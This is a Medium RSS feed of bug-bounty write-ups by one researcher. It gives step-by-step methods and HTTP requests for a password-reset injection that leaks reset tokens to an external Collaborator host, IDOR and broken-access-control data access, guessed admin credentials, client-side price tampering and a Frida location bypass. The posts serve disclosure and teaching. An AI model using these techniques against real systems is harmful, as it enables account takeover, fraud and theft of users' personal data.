<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Omdubey on Medium]]></title>
        <description><![CDATA[Stories by Omdubey on Medium]]></description>
        <link>https://medium.com/@omdubey170?source=rss-3b2180395be3------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*E28aOEnr-DAiQDv3</url>
            <title>Stories by Omdubey on Medium</title>
            <link>https://medium.com/@omdubey170?source=rss-3b2180395be3------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 30 May 2026 07:55:00 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@omdubey170/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[Unlocking the Doors: How I Took Over Accounts with a Single Flaw!]]></title>
            <link>https://medium.com/@omdubey170/unlocking-the-doors-how-i-took-over-accounts-with-a-single-flaw-239900ab5ee9?source=rss-3b2180395be3------2</link>
            <guid isPermaLink="false">https://medium.com/p/239900ab5ee9</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bugs]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Omdubey]]></dc:creator>
            <pubDate>Sat, 18 Jan 2025 15:19:56 GMT</pubDate>
            <atom:updated>2025-01-18T15:19:56.648Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZW-K43ar4QfvpDbOoDuNjQ.png" /></figure><p>👋 Hi, I’m <strong>Om Dubey</strong>, a <strong>Security Analyst</strong> and <strong>Bug Hunter </strong>with a knack for uncovering hidden vulnerabilities in tech. I specialize in <strong>web hacking</strong>, <strong>API pentesting</strong>, and <strong>Mobile App Testing</strong>, constantly pushing boundaries to secure systems. 🔍💻</p><p>Think your tech is secure? Let’s find out. 💥</p><h3>What is a Full Account Takeover?</h3><p>A Full Account Takeover occurs when an attacker gains complete access to a user’s account. This includes their personal data, sensitive transactions, and even administrative privileges if the account is linked to higher roles. The attacker can impersonate the user, modify their data, and wreak havoc — a nightmare scenario for any organization and its users.</p><h3>Steps to Reproduce</h3><ol><li>I Visit on Forgot Password Page <a href="https://example.com/login">https://example.com/login</a> and Put the Account details whose password want to Change and I click on Reset Password</li><li>Capture the Request into Burpsuite and send it to Repeater and the Request Looks like this</li></ol><p>POST /api/v2/identity/auth/password-reset HTTP/2<br>Host: example.com<br>User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0<br>Accept: */*<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate<br>Referer: <a href="https://example.com/login">https://example.com/login</a><br>Content-Type: application/json<br>Content-Length: 188<br>Origin: <a href="https://example.com">https://example.com</a><br>Sec-Fetch-Dest: empty<br>Sec-Fetch-Mode: cors<br>Sec-Fetch-Site: same-origin<br>Te: trailers</p><p>{“domain_name”:”example_test”,”user_name”:”<a href="mailto:example8@example.com">example8@example.com</a>”,”user_email”:”<a href="mailto:example8@example.com">example8@example.com</a>”,”url_template”:”<a href="https://example.com/login?reset=$secret">https://example.com/login?reset=$secret</a>&quot;}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FUH7V_NudqQ-NCMOZvgovA.png" /><figcaption>Request and Response</figcaption></figure><p>3. Then Edit the url_template with Burp Collaborator id like this “url_template”:“<a href="https://example.com7ckpyj8boqwk8izrriw5cmg2xt3jr8.oastify.com/login?reset=$secret">https://example.com<strong>7ckpyj8boqwk8izrriw5cmg2xt3jr8.oastify.com</strong>/login?reset=$secret</a>” and this is my burpcollaborator id <a href="https://example.com7ckpyj8boqwk8izrriw5cmg2xt3jr8.oastify.com/login?reset=$secret"><strong>7ckpyj8boqwk8izrriw5cmg2xt3jr8.oastify.com</strong></a></p><p>4. And the Final Request looks like this</p><p>POST /api/v2/identity/auth/password-reset HTTP/2<br>Host: example.com<br>User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0<br>Accept: */*<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate<br>Referer: <a href="https://example.com/login">https://example.com/login</a><br>Content-Type: application/json<br>Content-Length: 230<br>Origin: <a href="https://example.com">https://example.com</a><br>Sec-Fetch-Dest: empty<br>Sec-Fetch-Mode: cors<br>Sec-Fetch-Site: same-origin<br>Te: trailers</p><p>{“domain_name”:”example_test”,”user_name”:”<a href="mailto:example8@example.com">example8@example.com</a>”,”user_email”:”<a href="mailto:example@example.com">example@example.com</a>”,”url_template”:”<a href="https://example.com7ckpyj8boqwk8izrriw5cmg2xt3jr8.oastify.com/login?reset=$secret">https://example.com7ckpyj8boqwk8izrriw5cmg2xt3jr8.oastify.com/login?reset=$secret</a>&quot;}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tBO0FDL1Civzp475tv_riA.png" /><figcaption>Put Collaborator id in url_template Parameter</figcaption></figure><p>5. Then Sends the Request and I Receive the Success Response and Injected Reset Password link in my email like this <a href="https://example.com7ckpyj8boqwk8izrriw5cmg2xt3jr8.oastify.com/login?reset=p4ChmI9RuhDT4aq5K9g_aU2EvxVhgUxjJVOyTernuZ4">https://example.com7ckpyj8boqwk8izrriw5cmg2xt3jr8.oastify.com/login?reset=p4ChmI9RuhDT4aq5K9g_aU2EvxVhgUxjJVOyTernuZ4</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jCjX-0Bzah3Q1SLXbv5cvA.png" /><figcaption>Receive Reset Password link with Injected Burpcollaborator id</figcaption></figure><p>6. Then I Click on this link</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zpaNC6cE87bzr2Lv68Unjw.png" /></figure><p>7. And the reset password Token are Prompt on my BurpCollaborator Client.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W-EcNFOcUUpUwclXV-neBg.png" /><figcaption>Successfully Received Reset Password Token</figcaption></figure><p>8. And as you all know with the use of that token Account is Successfully Takeovered.</p><p>But After Reporting it its got Duplicate 😥</p><h3>Impact</h3><p>Account takeover (ATO) is a serious security threat that can have a significant impact on both individuals and organizations. Here’s a breakdown of the potential consequences:</p><h4>1. Financial Loss</h4><ul><li><strong>For individuals</strong>: Attackers may gain access to bank accounts, credit cards, or online shopping accounts, leading to unauthorized transactions and financial loss.</li><li><strong>For organizations</strong>: ATO could lead to financial fraud, unauthorized payments, and theft of funds from business accounts.</li></ul><h4>2. Identity Theft</h4><ul><li><strong>For individuals</strong>: Personal information such as Social Security numbers, passwords, and addresses can be stolen, potentially leading to identity theft and misuse.</li><li><strong>For organizations</strong>: Sensitive data like employee records, client data, and intellectual property can be exploited for fraud or illegal activities.</li></ul><h4>3. Reputational Damage</h4><ul><li><strong>For individuals</strong>: If personal social media accounts are compromised, attackers may post inappropriate content, which can damage the individual’s reputation.</li><li><strong>For organizations</strong>: ATO of customer accounts can lead to negative publicity, loss of customer trust, and damage to the brand’s reputation.</li></ul><h4>4. Loss of Access to Services</h4><ul><li><strong>For individuals</strong>: Loss of control over personal accounts can make it difficult to access online services, emails, or personal data.</li><li><strong>For organizations</strong>: Critical systems and data can be held hostage or rendered inaccessible, potentially halting business operations.</li></ul><h4>5. Privacy Breach</h4><ul><li><strong>For individuals</strong>: ATO can expose private conversations, emails, photos, and other sensitive information, putting an individual’s privacy at risk.</li><li><strong>For organizations</strong>: Customer data, internal communications, and confidential business strategies may be leaked or exploited.</li></ul><p>Bye Bye</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=239900ab5ee9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypassing Location Restrictions on a Android App Using Frida]]></title>
            <link>https://medium.com/@omdubey170/hello-pentester-07209d5d8d42?source=rss-3b2180395be3------2</link>
            <guid isPermaLink="false">https://medium.com/p/07209d5d8d42</guid>
            <category><![CDATA[android]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[android-pentesting]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Omdubey]]></dc:creator>
            <pubDate>Sun, 13 Oct 2024 13:43:59 GMT</pubDate>
            <atom:updated>2024-10-13T13:49:31.131Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EtrnJkbjnecwdFo0UwpdAg.png" /></figure><p>Hello, Pentester! In this post, I’ll take you through an intriguing journey of bypassing location restrictions in Android applications, showcasing my findings and techniques that can elevate your pentesting skills!</p><p><strong>Description</strong></p><p><strong>App Compatibility Issues:</strong> Some applications exhibit different behaviors on emulators compared to real devices due to varying security and permission policies. Many apps implement stricter checks for location services when running on emulators to prevent misuse or bypassing of location-based restrictions. These checks could include detecting the use of mock locations, verifying hardware-level sensors like GPS, or monitoring the network-based location access. As a result, even with location permissions enabled in an emulator, apps may not function as expected unless run on a physical device, where real-time hardware-based location data is available.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/425/1*J9N0RVTYP-iaK2mkX5Cl4A.png" /></figure><p>Steps for Bypass</p><ol><li>I used <strong>apktool</strong> (or any decompilation tool) to decompile the APK and access the application’s source code</li><li>There were <strong>multiple files</strong> handling location logic. And many files contained key checks and logic for fetching the device’s location like this</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*K-t9RSWnfX-ggSr81zvWKg.png" /></figure><p>3. Once I identified the relevant file responsible for <strong>location-based errors</strong>, I created a <strong>JavaScript hook</strong> to manipulate the behavior using <strong>Frida</strong>.</p><p>frida -l locate.js -U -f com.package</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*a_qN5i-qGM1KSNuxj8FY6A.png" /></figure><p>4. After running the <strong>Frida hook</strong>, I Logged in again and the location error was successfully bypassed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*GqJZ96PkmJ70Ya_lmhD10A.png" /></figure><p>5. The app no longer displayed the <strong>“Location not available”</strong> error, and I was able to proceed with the functionality as if on a real device.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/460/1*PD-USXwtI5gyfKBdOzE1Kg.jpeg" /></figure><h3>Challenges Faced and How I Overcame Them</h3><ul><li><strong>Emulator Detection:</strong> The app had checks in place to identify if it was running on an emulator, making location spoofing tricky.<br><strong>Solution:</strong> Used <strong>Frida</strong> to hook the relevant function and manipulated the location data.</li><li><strong>Multiple Location Checks:</strong> There were multiple files, involved in the location logic. Identifying the correct one took time.<br><strong>Solution:</strong> Thorough code inspection and testing using hooks at different points helped pinpoint the right logic.</li></ul><h3>Impact of the Vulnerability</h3><ul><li><strong>Improper Location Handling:</strong> If left unpatched, attackers could bypass location restrictions, affecting the app’s core features (like region-specific content or geofencing).</li><li><strong>Business Impact:</strong> This could lead to misuse of services, financial losses, or legal issues if the app operates in regulated industries.</li></ul><h3>Mitigation and Recommendations</h3><ul><li><strong>Use Strong Emulator Detection:</strong> Implement advanced checks beyond basic location access detection, like monitoring hardware sensors.</li><li><strong>Secure Location Services:</strong> Use server-side verification for location data instead of relying solely on client-side checks.</li><li><strong>Obfuscate Critical Code:</strong> Protect sensitive logic, such as location checks, to prevent reverse engineering attempts.</li></ul><h3>Conclusion</h3><p>This process demonstrates how critical it is to perform <strong>dynamic analysis and instrumentation</strong> during pentesting. Bypassing location checks using <strong>Frida</strong> showcases how attackers can exploit weak validation mechanisms. Developers need to ensure robust security practices to prevent such manipulations.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=07209d5d8d42" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Broken Access Control Vulnerability in an Order Management System]]></title>
            <link>https://medium.com/@omdubey170/broken-access-control-vulnerability-in-an-order-management-system-8a1097b03926?source=rss-3b2180395be3------2</link>
            <guid isPermaLink="false">https://medium.com/p/8a1097b03926</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty-hunter]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[idor-vulnerability]]></category>
            <dc:creator><![CDATA[Omdubey]]></dc:creator>
            <pubDate>Fri, 11 Oct 2024 16:55:42 GMT</pubDate>
            <atom:updated>2024-10-12T17:20:04.334Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Vulnerability Overview</strong><br>I found a Broken Access Control vulnerability in the API handling basket operations. The issue is that these API endpoints aren’t properly secured, allowing an attacker to access and manipulate any user’s order without being logged in.</p><p>Here’s what can happen:</p><ul><li>View sensitive user information like delivery addresses and order details.</li><li>Change delivery addresses and order times without the user knowing.</li><li>Add or remove products from any user’s cart.</li><li>Manipulate users’ order data, which could cause privacy violations and financial problems.</li></ul><h3>Steps to Reproduce</h3><ol><li><strong>Login and Add a Product</strong>: I logged into my account and added a product to the basket. Then, I added an address for delivery.</li><li><strong>Capture the GET Request</strong>: The system makes a GET request to an API endpoint (e.g., /api/baskets/721a56fd-7055-4f65-b28b-3c995041) where all the order and address info is listed. But this request isn’t tied to any authorization token, which is problematic.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XaDZSIp26wmb6114XHUM2g.jpeg" /></figure><ol><li><strong>Access the Request Unauthenticated</strong>: I copied the GET request, opened it in another browser without logging in, and could still view the order and address details.</li><li><strong>Modify Other Users’ Orders</strong>: I then captured a PUT request to change the address and delivery time. By removing the Authorization token and changing the basket ID to another user’s (PUT /api/baskets/11d41b90-70b5-4ae5-9c30-b56dfc88/dispatchaddress), I was able to modify another user’s address.</li><li><strong>Add or Remove Products</strong>: By capturing product IDs, I used the DELETE endpoint (DELETE /api/baskets/11d41b90-70b5-4ae5-9c30-b56dfc88/products/2121449) to remove items from another user’s cart. I could also add products unauthenticated via PUT.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/456/1*N0alWxuDKqQb-BmV5ZbWQw.png" /></figure><h3>Impact</h3><p>Even though this vulnerability was marked as <strong>low</strong>, it could still lead to:</p><ol><li><strong>Privacy Violations</strong>: Attackers can see personal information like addresses and orders.</li><li><strong>Financial Loss</strong>: Users or the platform could face financial damage if orders are tampered with.</li><li><strong>Loss of Trust</strong>: If users notice their orders were changed, they might lose trust in the platform.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8a1097b03926" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Race Condition on Likes of Product Leads to Products can appear more popular]]></title>
            <link>https://medium.com/@omdubey170/race-condition-on-likes-of-product-leads-to-products-can-appear-more-popular-a39038d16203?source=rss-3b2180395be3------2</link>
            <guid isPermaLink="false">https://medium.com/p/a39038d16203</guid>
            <category><![CDATA[cache]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[race-condition]]></category>
            <dc:creator><![CDATA[Omdubey]]></dc:creator>
            <pubDate>Wed, 21 Aug 2024 18:32:20 GMT</pubDate>
            <atom:updated>2024-08-21T18:32:20.695Z</atom:updated>
            <content:encoded><![CDATA[<p>In my recent bug bounty activities, I stumbled upon a significant race condition vulnerability in a popular e-commerce platform. This vulnerability, when exploited, can seriously impact the integrity of product favorite counts and user trust. Here’s a detailed breakdown of the issue and its implications.</p><h3>Description:</h3><p>The vulnerability I discovered involves a race condition in the way the platform handles product favorites. A race condition occurs when multiple processes or threads access shared resources concurrently, leading to unpredictable results. In this case, the favorite count of a product can be manipulated through repeated requests, thanks to dynamic caching.</p><h3>Steps to Reproduce:</h3><p><strong>Account Creation:</strong></p><p>Create an account on the platform and navigate to any product page. For instance, [this product page](https://www.example.com/listings/***-wear-x-tommy-hilfiger) initially shows 0 favorites.</p><p><strong>Adding to Favorites:</strong></p><p>Click on the heart icon to add the product to your favorites. The count should increase.</p><p><strong>Capturing the Request:</strong></p><p>Use Burp Suite to capture the HTTP request when you add the product to favorites and send it to Repeater.</p><p><strong>Replicating the Request:</strong></p><p>Copy the captured request as a cURL command and create a bash script that repeats this command multiple times.</p><p><strong>Running the Script:</strong></p><p>Execute the bash script to send multiple requests, significantly increasing the favorites count.</p><p><strong>Observations:</strong></p><p>Due to dynamic caching, the favorites count is visible for a specific time. By hosting the script on a VPS and running it continuously, I was able to keep increasing the favorites count, exploiting the race condition.</p><p>Receiving a Small Bounty but OKK</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B635zzMlxQghcdyVVRYNHg.jpeg" /></figure><h3>Impact of the Vulnerability</h3><p><strong>Artificially Inflated Favorites:</strong></p><p>Products can appear more popular than they are, misleading potential buyers into thinking they are more desirable.</p><p><strong>Loss of User Trust:</strong></p><p>Users may question the accuracy of the favorites count, leading to a loss of confidence in the platform’s reliability.</p><p><strong>Data Integrity Issues:</strong></p><p>Manipulated favorite counts can skew the platform’s analytics and reporting, affecting business decisions.</p><p><strong>Potential Denial-of-Service (DoS):</strong></p><p>Continuous manipulation of favorites can overwhelm the system, potentially causing performance issues or downtime for legitimate users.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a39038d16203" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Admin Panel Access]]></title>
            <link>https://medium.com/@omdubey170/admin-panel-access-5dd2fd4938a0?source=rss-3b2180395be3------2</link>
            <guid isPermaLink="false">https://medium.com/p/5dd2fd4938a0</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bugs]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Omdubey]]></dc:creator>
            <pubDate>Tue, 05 Dec 2023 19:32:01 GMT</pubDate>
            <atom:updated>2023-12-05T19:32:01.107Z</atom:updated>
            <content:encoded><![CDATA[<p>So Guyzz I am Here to tell you How I found Admin Panel Access.</p><p>So my first methodology is that I always try to find more subdomains which helps me to gather more information of a website.</p><p>So I finds a Subdomain on which admin panel is hosted(lets take abc.example.com) So I check all the the request and responses and its functionality to bypass the admin panel but its won’t work here</p><p>So I think, Why not try with company mail domain in Username and password as a admin so I put Username = admin@example.com and password = Admin and Boom the Dashboard is open in front of me😁.</p><p>I have access to Change User list or delete any Admin or user.</p><p>I Put Blurred Image due to company Policies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0Y7h8v_CcqaRNTAW_sH4_g.png" /></figure><p>If You Want to Learn Bug Bounty or want to take CEH training(with Certificate of a private Organization) so Please Contact me. We teach you that how to find bugs in a Systematic way and you will Learn different ways to finds bugs. We will also helps you that how to finds Private Programs of Bug Bounty. Contact me at omdubey170@gmail.com</p><p>Thank You</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5dd2fd4938a0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IDOR a Highest Bounty]]></title>
            <link>https://medium.com/@omdubey170/idor-a-highest-bounty-6dae1bb10b66?source=rss-3b2180395be3------2</link>
            <guid isPermaLink="false">https://medium.com/p/6dae1bb10b66</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[idor-vulnerability]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-hunter]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Omdubey]]></dc:creator>
            <pubDate>Sat, 22 Apr 2023 13:28:43 GMT</pubDate>
            <atom:updated>2023-04-24T05:06:50.301Z</atom:updated>
            <content:encoded><![CDATA[<p>This is a Private Program so i can not revealed the name of the website so let’s take example.com</p><p>Insecure Direct Object References (IDOR Vulnerability) Insecure direct object references (IDOR) are a type of access control vulnerability that arises when an application uses user-supplied input to access objects directly. The term IDOR was popularized by its appearance in the OWASP 2007 Top Ten.</p><p>Proof of Concept</p><ol><li>so i use google dorks for recon the website so is use the dork site:*.example.com inurl:.aspx</li><li>so in the result the user data has been leaked and URL is like this <a href="https://buy.example.com/protect/landing.aspx?base64encoded">https://buy.example.com/protect/landing.aspx?<strong>base64encoded</strong></a><strong>data</strong></li><li>this base64 encoded data is a user’s mobile number by which a user is validated so i change the mobile number to other user’s mobile number and the other user’s data has been leaked</li><li>i can not put screenshot because of company policies</li><li>this Vulnerability gives me 2000$ and the severity of this bug is P0</li><li>Google Dorks always gives different result</li></ol><p>Follow me on Linkedin <a href="https://www.linkedin.com/in/dubeyom/">https://www.linkedin.com/in/dubeyom/</a></p><p>checkout my personal findings and contact me on telegram <a href="https://t.me/+27aPEPMHR6w3Mjg1">https://t.me/+27aPEPMHR6w3Mjg1</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*BW23lCEh8I9ETkIAyeHFFA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*4dllQEZPdvUzUcYtERsXRQ.png" /></figure><p>IMPACT</p><p>Unauthorized access to sensitive data — Object references often include database IDs, which attackers can access to expose sensitive information about the application/users. The unauthorized user can also use database entries to prepare malicious SQL payloads for further attacks. Object manipulation — With access to internal references, attackers gain direct access to the data and state of the application. Attackers can then manipulate the exposed objects to modify data, access hidden functions, or further escalate privileges. Direct file access — Malicious users can combine IDOR attacks with directory transversal attack techniques to manipulate the host’s file system. This grants them the ability to upload/download files freely and manipulate content accessed by other users.</p><p>MITIGATION</p><p>The most foolproof way to prevent IDOR vulnerabilities and attacks is to perform access validation. If an attacker tries to tamper with an application or database by modifying the given reference, the system should be able to shut down the request, verifying that the user does not have the proper credentials.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6dae1bb10b66" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IDOR in 30 minutes]]></title>
            <link>https://medium.com/@omdubey170/idor-in-30-minutes-48fe16b93641?source=rss-3b2180395be3------2</link>
            <guid isPermaLink="false">https://medium.com/p/48fe16b93641</guid>
            <category><![CDATA[bug-fixes]]></category>
            <category><![CDATA[bugbounty-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Omdubey]]></dc:creator>
            <pubDate>Fri, 31 Mar 2023 07:51:34 GMT</pubDate>
            <atom:updated>2023-09-04T06:44:43.807Z</atom:updated>
            <content:encoded><![CDATA[<p>Hii My Name is Om Dubey and I am a Bug Hunter. Recently I found a IDOR Vulnerability in a Private program.</p><p>What is IDOR</p><p>In a web application, whenever a user generates, sends, or receives a request from a server, there are some HTTP parameters such as “id”, “uid”, “pid” etc that have some unique values which the user has been assigned. An attacker can see such parameter values in cookies, headers, or wifi Packet captures. Via this, an attacker might be able to tamper with these values and this tampering may lead to IDOR.</p><h3><strong>Steps to Reproduce</strong></h3><ol><li>I Simply recon the website and i found the endpoint https://app.example.com/pay?key=</li><li>By Doing more research I thought the key is mandory for fetch users data or bill. I am not disclosing the name of the site for security purpose So I am going to name it example.com for the demo</li><li>And i use waybackurls tool for seach directories and i find one of the key there in which user data , bills , Mobile Number and email id is leaked and one of the url is https://app.example.com/pay?key=%2Fp%2F3TwraY</li><li>This key is very short an attacker can easily bruteforce it and fetch users details. i also fetch some user details for showing how easy it is. I fetched the data of about 100 users but I can do more but I fetched the data of 100 users just to show this vulnerability</li><li>Company Declared its Severity as P1</li><li>I found this vulnerability in just 30 minutes.</li><li>I show you one Screenshot also.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*wqheJDPLjJ-aKw-ksNloOg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HZepYgLH7FHllyjUV-_iMg.jpeg" /></figure><h3>Security Impact</h3><ol><li>Exposure of Confidential Information: When the attacker will have control over your account via this vulnerability, it is obvious that an attacker will be able to come across your personal information.</li><li>Authentication Bypass: As the attacker can have access to millions of accounts with this vulnerability, it will be a type of Authentication bypass mechanism.</li><li>Alteration of Data: An attacker may have privileges to access your data and alter it. By this, an attacker may have permission to make changes to your data, which may lead to the manipulation of records.</li><li>Account Takeover: While an attacker may have multiple access to user accounts just by changing the “UID” values, this will lead to account takeover vulnerability. When one vulnerability leads to another vulnerability(like in this case), It is known as the Chaining of BUGS.</li></ol><p>Severity = P1</p><p>Bounty = 300$</p><p>Go check my Linkedin Account for more Disclosures <a href="https://www.linkedin.com/in/dubeyom/">https://www.linkedin.com/in/dubeyom/</a></p><p>Go to my Telegram account for my personal findings <a href="https://t.me/+27aPEPMHR6w3Mjg1">https://t.me/+27aPEPMHR6w3Mjg1</a></p><p>Thank you</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=48fe16b93641" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Business Logic Flaw]]></title>
            <link>https://medium.com/@omdubey170/business-logic-flaw-96904f9c5379?source=rss-3b2180395be3------2</link>
            <guid isPermaLink="false">https://medium.com/p/96904f9c5379</guid>
            <category><![CDATA[bug-bounty-hunter]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[Omdubey]]></dc:creator>
            <pubDate>Mon, 06 Feb 2023 13:29:13 GMT</pubDate>
            <atom:updated>2023-04-24T04:59:09.554Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello Hackers, Today I want to tell you That I complete my Diploma in Ethical Hacking. And Now I am Find the bugs on private Programs. So This is my first Post on medium and i want to tell you that how can idiscover my first vulnerability which is Business Logic Flaw on medibuddy.com. I find this Vulnerability in Mid of November 2022.</p><h4>What is Business Logic Flaw</h4><p>Business logic vulnerabilities are flaws in the<br>design and implementation of an application that allows an<br>attacker to elicit unintended behaviour. This potentially<br>enables attackers to manipulate legitimate functionality to<br>achieve a malicious goal.</p><h4>POC</h4><p>I simply test the website and there is a path by which we can order medicines , Health Products , etc. I Successfully adds 5 items</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RQ0XHM1KpVpWCZfUQSND-A.png" /></figure><p>And fills all the details which is necessary for order like address , name etc.</p><p>Then i click on the Checkout button and intercepts the request, the request is in Json Format. The original price of products are 1995 Ruppees</p><p>The Value of parameters in unitPrice = 399, discountPrice=399,<br>and totalPrice=1995.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tnfAK2sfgKlx_z2XhPMRZg.png" /></figure><p>But there is a vulnerability of Business Logic so i edit the value of paarameter in the request and I change into unitPrice = 100, discountPrice=100, and totalPrice=500 because we add 5 items in the cart</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uVuQlZFgkaJ3LEpGMCwjvQ.png" /></figure><p>Then I simply forward the request and successfully i reached my goal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*deP3sEzkKs5qQGzDxsiyuA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*b9BRSbfXt8ELlb1tp0Jl4g.png" /></figure><p>Impact<br>This vulnerability is known as Excessive trust in client-side control.<br>The impact of business logic vulnerabilities can, at times, be<br>fairly trivial. It is a broad category and the impact is highly<br>variable. However, any unintended behavior can potentially<br>lead to high-severity attacks if an attacker is able to manipulate<br>the application in the right way. For this reason, quirky logic<br>should ideally be fixed even if you can’t work out how to exploit<br>it yourself. There is always a risk that someone else will be able<br>to.</p><p>How to prevent</p><ol><li>A developer should never assume that the request will come only<br>from the browser.</li><li>2. Developer should understand the overall business logic.<br>Typically, several developers work on a single product. So, every developer should understand various other components and how<br>they function in a business.</li><li>3. Maintain logic, business and data flows in the application.</li><li>4. Maintain best coding practices with comments and explanation<br>of code. When a new developer gets into shoes of a developed code,<br>it will be very daunting to understand the code without proper<br>comments.</li></ol><p>keep Learning with me</p><p>Follow my Linkedin <a href="https://www.linkedin.com/in/dubeyom/">https://www.linkedin.com/in/dubeyom/</a></p><p>And Checkout my Telegram for my personal finding and also contact with me on <a href="https://t.me/+27aPEPMHR6w3Mjg1">https://t.me/+27aPEPMHR6w3Mjg1</a></p><p>Thank You</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=96904f9c5379" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>